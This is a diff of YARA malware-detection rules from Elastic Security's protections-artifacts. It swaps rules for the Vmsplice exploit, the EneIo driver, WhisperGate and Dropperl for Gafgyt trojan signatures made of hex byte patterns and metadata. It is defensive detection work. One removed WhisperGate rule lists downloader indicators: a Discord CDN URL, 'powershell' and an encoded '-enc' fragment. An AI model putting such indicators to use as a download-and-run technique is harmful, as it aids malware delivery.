-		$a = { 04 8B 00 03 45 C0 89 02 8B 45 08 8D 50 08 8B 45 08 83 C0 08 }
+		$a = { 55 E0 0F B6 42 0D 83 C8 01 88 42 0D 48 8B 55 E0 0F B6 42 0D 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Eneio_6E01882F : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_33801844 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Eneio (Windows.VulnDriver.EneIo)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "6e01882f-8394-4e32-8049-fa9c4588b087"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "33801844-50b1-4968-a1b7-d106f16519ee"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_EneIo.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347"
-		logic_hash = "144ac5375cb637b6301a2275f2412fbd0d0c5fb23105c7cce5aa7912cf68fa2c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1128-L1146"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2ceff60e88c30c02c1c7b12a224aba1895669aad7316a40b575579275b3edbb3"
+		logic_hash = "20b8ebce14776e48310be099afd0dca0f28778d0024318b339b75e2689f70128"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "8077212bfbadc7f47f2eb76f123a6e4bcda12009293cb975bbeaba77f8c9dcd0"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "36218345b9ce4aaf50b5df1642c00ac5caa744069e952eb6008a9a57a37dbbdc"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\Release\\EneIo.pdb"
+		$a = { 45 F8 48 83 E8 01 0F B6 00 3C 0D 75 0B 48 8B 45 F8 0F B6 00 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Linux_Exploit_Vmsplice_Cfa94001 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_A33A8363 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "cfa94001-6000-4633-9af2-efabfaa96f94"
+		id = "a33a8363-5511-4fe1-a0d8-75156b9ccfc7"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Vmsplice.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0a26e67692605253819c489cd4793a57e86089d50150124394c30a8801bf33e6"
-		logic_hash = "b5a86a79384997f977d353371ccaa8c736f5c24af40b85a24076d4c4fb79a237"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1148-L1165"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "3fe17dc43f07dacdad6ababf141983854b977e244c0af824fea0ab953ad70fee"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3fb484112484e2afc04a88d50326312af950605c61f258651479427b7bae300a"
+		fingerprint = "74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59887,28 +63993,28 @@ rule ELASTIC_Linux_Exploit_Vmsplice_Cfa94001 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 7A 00 21 40 23 24 00 6D 6D 61 70 00 5B 2B 5D 20 6D 6D 61 70 3A }
+		$a = { 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Vmsplice_A000F267 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_9A62845F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "a000f267-b4d7-46e9-ab61-818633083ba2"
+		id = "9a62845f-6311-49ae-beac-f446b2909d9c"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Vmsplice.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c85cc6768a28fb7de16f1cad8d3c69d8f0b4aa01e00c8e48759d27092747ca6f"
-		logic_hash = "2a8cb11bb21f2ce620a6fa1f0fb932bef60a479fac836058ec4e8c760b5d60f9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1167-L1185"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f67f8566beab9d7494350923aceb0e76cd28173bdf2c4256e9d45eff7fc8cb41"
+		logic_hash = "b3ab125c8bfb5b7a0be0e92cf5a50057e403ab3597698ec2e7a8bafa0d3a8b80"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0753ef1bc3e151fd6d4773967b5cde6ad789df593e7d8b9ed08052151a1a1849"
+		fingerprint = "2ccc813c5efed35308eb2422239b5b83d051eca64b7c785e66d602b13f8bd9b4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59916,28 +64022,28 @@ rule ELASTIC_Linux_Exploit_Vmsplice_A000F267 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 04 73 00 00 00 89 44 24 00 CF 83 C4 10 5B C9 C3 55 89 E5 83 }
+		$a = { 10 83 F8 20 7F 1E 83 7D 08 07 75 33 8B 45 0C 83 C0 18 8B 00 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Vmsplice_8B9E4F9F : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_4D81Ad42 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "8b9e4f9f-7903-4aa5-9098-766f4311a22b"
+		id = "4d81ad42-bf08-48a9-9a93-85cb491257b3"
 		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Vmsplice.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0230c81ba747e588cd9b6113df6e1867dcabf9d8ada0c1921d1bffa9c1b9c75d"
-		logic_hash = "6979a900a2532a8da36711f3ffe13f71ec4efa7771aa2feec9391bd031aaa023"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1187-L1205"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3021a861e6f03df3e7e3919e6255bdae6e48163b9a8ba4f1a5c5dced3e3e368b"
+		logic_hash = "57b54eed37690949ba2d4eff713691f16f00207d7b374beb7dfa2e368588dbb0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "585b16ad3e4489a17610f0a226be428def33e411886f273d0c1db45b3819ba3f"
+		fingerprint = "f285683c3b145990e1b6d31d3c9d09177ebf76f183d0fa336e8df3dbcba24366"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59945,28 +64051,27 @@ rule ELASTIC_Linux_Exploit_Vmsplice_8B9E4F9F : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 00 00 00 20 4C 69 6E 75 78 20 76 6D 73 70 6C }
+		$a = { 0F 44 C8 07 0B BF F1 1B 7E 83 CD FF 31 DB 2E 22 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Vmsplice_055F88B8 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_6A510422 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "055f88b8-b1b0-4b02-8fc5-97804b564d27"
-		date = "2021-04-06"
+		id = "6a510422-3662-4fdb-9c03-0101f16e87cd"
+		date = "2021-06-28"
 		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Vmsplice.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "607c8c5edc8cbbd79a40ce4a0eccf46e01447985d9415d1eff6a91bf64074507"
-		logic_hash = "29e59bb372f0b37b507c72e5b5bcb27ba0fa2aaac71ea77f0cab85af31708c8a"
+		reference = "14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1207-L1225"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "4384536817bf5df223d4cf145892b7714f2dbd1748930b6cd43152d4e35c9e56"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "38f7d6c56ee1cd465062b5c82320710c4d0393a3b33f5586b6c0c0c778e5d3b2"
+		fingerprint = "8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59974,89 +64079,83 @@ rule ELASTIC_Linux_Exploit_Vmsplice_055F88B8 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 2D 2D 2D 00 20 4C 69 6E 75 78 20 76 6D 73 70 6C }
+		$a = { 0B E5 24 30 1B E5 2C 30 0B E5 1C 00 00 EA 18 30 1B E5 00 30 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Vmsplice_431E689D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_D2953F92 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Vmsplice (Linux.Exploit.Vmsplice)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "431e689d-0c41-4c92-98b0-0dac529d8328"
+		id = "d2953f92-62ee-428d-88c5-723914c88c6e"
 		date = "2021-06-28"
 		modified = "2021-09-16"
-		reference = "1cbb09223f16af4cd13545d72dbeeb996900535b1e279e4bcf447670728de1e1"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Vmsplice.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "5b9a7ffcd6fc6893a8224fd2b9ca59f4cff6086669a73190114db510a1ad9ff2"
+		reference = "14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1227-L1245"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d0af462d26f6ffe469c57d63f1f7d551e3fb9cc39c7e4c35b3e71f659c01c076"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1e8aee445a3adef6ccbd2d25f7b38202bef98a99b828eda56fb8b9269b6316b4"
-		severity = "100"
+		fingerprint = "276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 69 6F 6E 00 70 75 74 65 6E 76 00 73 74 64 6F 75 74 00 73 65 }
+		$a = { 1B E5 2A 00 53 E3 0A 00 00 0A 30 30 1B E5 3F 00 53 E3 23 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Whispergate_9192618B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_6Ae4B580 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Whispergate (Windows.Trojan.WhisperGate)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "9192618b-4f3e-4503-a97f-3c4420fb79e0"
-		date = "2022-01-17"
-		modified = "2022-01-17"
-		reference = "https://www.elastic.co/security-labs/operation-bleeding-bear"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_WhisperGate.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
-		logic_hash = "28bb08d61d99d2bfc49ba18cdbabc34c31a715ae6439ab25bbce8cc6958ed381"
+		id = "6ae4b580-f7cf-4318-b584-7ea15f10f5ea"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1247-L1265"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "eb0fe44df1c995c5d4e3a361c3e466f78cb70bffbc76d1b7b345ee651b313b9e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "21f2a5b730a86567e68491a0d997fc52ba37f28b2164747240a74c225be3c661"
+		fingerprint = "279e344d6da518980631e70d7b1ded4ff1b034d24e4b4fe01b36ed62f5c1176c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "https://cdn.discordapp.com/attachments/" wide
-		$a2 = "DxownxloxadDxatxxax" wide fullword
-		$a3 = "powershell" wide fullword
-		$a4 = "-enc UwB0AGEAcgB0AC" wide fullword
-		$a5 = "Ylfwdwgmpilzyaph" wide fullword
+		$a = { 30 0B E5 3C 20 1B E5 6C 32 1B E5 03 00 52 E1 01 00 00 DA 6C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dropperl_B97Baf37 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_D608Cf3B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "b97baf37-48db-4eb7-85c7-08e75054bea7"
-		date = "2021-01-12"
+		id = "d608cf3b-c255-4a8d-9bf1-66f92eacd751"
+		date = "2021-06-28"
 		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dropperl.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "aff94f915fc81d5a2649ebd7c21ec8a4c2fc0d622ec9b790b43cc49f7feb83da"
-		logic_hash = "e58130c33242bc3020602c2c0254bed2bbc564c4a11806c6cfcd858fd724c362"
+		reference = "14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1267-L1285"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "ad5b7d32c85adc7f778a8f4815e595b90a6f15dec048bcf97c6ab179582eb4f7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0852f1afa6162d14b076a3fc1f56e4d365b5d0e8932bae6ab055000cca7d1fba"
+		fingerprint = "3825aa1c9cddb46fdef6abc0503b42acbca8744dd89b981a3eea8db2f86a8a76"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60064,28 +64163,27 @@ rule ELASTIC_Linux_Trojan_Dropperl_B97Baf37 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 12 48 89 10 83 45 DC 01 83 45 D8 01 8B 45 D8 3B 45 BC 7C CF 8B }
+		$a = { FF 2F E1 7E 03 00 00 78 D8 00 00 24 00 00 00 28 00 00 00 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dropperl_E2443Be5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_3F8Cf56E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "e2443be5-da15-4af2-b090-bf5accf2a844"
-		date = "2021-01-12"
+		id = "3f8cf56e-a8cb-4c03-8829-f1daa3dc64a8"
+		date = "2021-06-28"
 		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dropperl.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "aff94f915fc81d5a2649ebd7c21ec8a4c2fc0d622ec9b790b43cc49f7feb83da"
-		logic_hash = "85733ff904cfa3eddaa4c4fbfc51c00494c3a3725e2eb722bbf33c82e7135336"
+		reference = "1878f0783085cc6beb2b81cfda304ec983374264ce54b6b98a51c09aea9f750d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1287-L1305"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "b2cf8b1913a88e6a6346f0ac8cd2e7c33b41d44bf60ff7327ae40a2d54748bd9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e49acaa476bd669b40ccc82a7d3a01e9c421e6709ecbfe8d0e24219677c96339"
+		fingerprint = "77306f0610515434371f70f2b42c895cdc5bbae2ef6919cf835b3cfe2e4e4976"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60093,28 +64191,27 @@ rule ELASTIC_Linux_Trojan_Dropperl_E2443Be5 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 45 F0 75 DB EB 17 48 8B 45 F8 48 83 C0 08 48 8B 10 48 8B 45 F8 48 }
+		$a = { 45 2F DA E8 E9 CC E4 F4 39 55 E2 9E 33 0E C0 F0 FB 26 93 31 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dropperl_683C2Ba1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Fb14E81F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "683c2ba1-fe4a-44e4-b176-8d5d5788e1a4"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dropperl.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a02e166fbf002dd4217c012f24bb3a8dbe310a9f0b0635eb20a7d315049367e1"
-		logic_hash = "eef2bdef7e20633f7dc92f653b43e3a217e8cbdbac63d05540bdd520e22dd1ed"
+		id = "fb14e81f-be2a-4428-9877-958e394a7ae2"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "0fd07e6068a721774716eb4940e2c19faef02d5bdacf3b018bf5995fa98a3a27"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1307-L1325"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "2efb958c269640c374485502611372f4404cf35d7ab704d20ce37b8c1f69645d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "42dcea472417140d0f7768e8189ac3a8a46aaeff039be1efd36f8d50f81e347c"
+		fingerprint = "12b430108256bd0f57f48b9dbbea12eba7405c0b3b66a1c4b882647051f1ec52"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60122,28 +64219,27 @@ rule ELASTIC_Linux_Trojan_Dropperl_683C2Ba1 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E8 95 FB FF FF 83 7D D4 00 79 0A B8 ?? ?? 60 00 }
+		$a = { 4E 45 52 00 53 43 41 4E 4E 45 52 20 4F 4E 20 7C 20 4F 46 46 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dropperl_8Bca73F6 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_E09726Dc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "8bca73f6-c3ec-45a3-a5ae-67c871aaf9df"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dropperl.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e7c17b7916b38494b9a07c249acb99499808959ba67125c29afec194ca4ae36c"
-		logic_hash = "2cfad4e436198391185fdae5c4af18ae43841db19da33473fdf18b64b0399613"
+		id = "e09726dc-4e6d-4115-b178-d20375c09e04"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "1e64187b5e3b5fe71d34ea555ff31961404adad83f8e0bd1ce0aad056a878d73"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1327-L1345"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "ebd00e593a7fcd46e36fd0ca213e1f82c0f4a94448b6fd605d35cea45a490493"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "36df2fd9746da80697ef675f84f47efb3cb90e9757677e4f565a7576966eb169"
+		fingerprint = "614d54b3346835cd5c2a36a54cae917299b1a1ae0d057e3fa1bb7dddefc1490f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60151,28 +64247,27 @@ rule ELASTIC_Linux_Trojan_Dropperl_8Bca73F6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E8 95 FB FF FF 83 7D D4 00 79 0A B8 ?? ?? 62 00 }
+		$a = { 00 00 48 83 EC 08 48 83 C4 08 C3 00 00 00 01 00 02 00 50 49 4E 47 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dropperl_C4018572 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Ad12B9B6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "c4018572-a8af-4204-bc19-284a2a27dfdd"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dropperl.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c1515b3a7a91650948af7577b613ee019166f116729b7ff6309b218047141f6d"
-		logic_hash = "10d70540532c5c2984dc7e492672450924cb8f34c8158638191886057596b0a1"
+		id = "ad12b9b6-2e66-4647-8bf3-0300f2124a97"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "f0411131acfddb40ac8069164ce2808e9c8928709898d3fb5dc88036003fe9c8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L1347-L1365"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "72a85d14eb8ab78364ea2e8b89d9409c0046b14602f4a3415d829f4985fb2de3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f2ede50ea639af593211c9ef03ee2847a32cf3eb155db4e2ca302f3508bf2a45"
+		fingerprint = "46d86406f7fb25f0e240abc13e86291c56eb7468d0128fdff181f28d4f978058"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -60180,28 +64275,28 @@ rule ELASTIC_Linux_Trojan_Dropperl_C4018572 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E8 97 FB FF FF 83 7D D4 00 79 0A B8 ?? ?? 60 00 }
+		$a = { 4C 52 46 00 4B 45 46 31 4A 43 53 00 4B 45 46 31 51 45 42 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dropperl_733C0330 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_0535Ebf7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "733c0330-3163-48f3-a780-49be80a3387f"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "0535ebf7-844f-4207-82ef-e155ceff7a3e"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
